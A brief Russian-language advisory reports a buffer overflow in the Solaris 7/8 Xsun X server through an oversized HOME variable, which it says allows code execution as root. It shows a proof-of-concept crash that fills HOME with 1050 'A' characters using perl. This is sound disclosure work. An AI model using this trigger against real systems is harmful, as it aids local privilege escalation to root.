Xsun - сервер X-window для Sun систем. Переполнение буфера обнаружено в обработке переменной
HOME, оно позволяет выполнять произвольный код с root привилегиями.
Уязвимость обнаружена в Solaris 7/8 (x86 и Sparc)
Пример:
bash-2.03$ HOME=`perl -e 'print "A"x1050'`
bash-2.03$ /usr/openwin/bin/Xsun :1
Warning: There is no XDISPLAY information for display 1.
Server is using XDISPLAY information for display 0.
Default Font Path: /usr/openwin/lib/X11/
Segmentation Fault (core dumped)
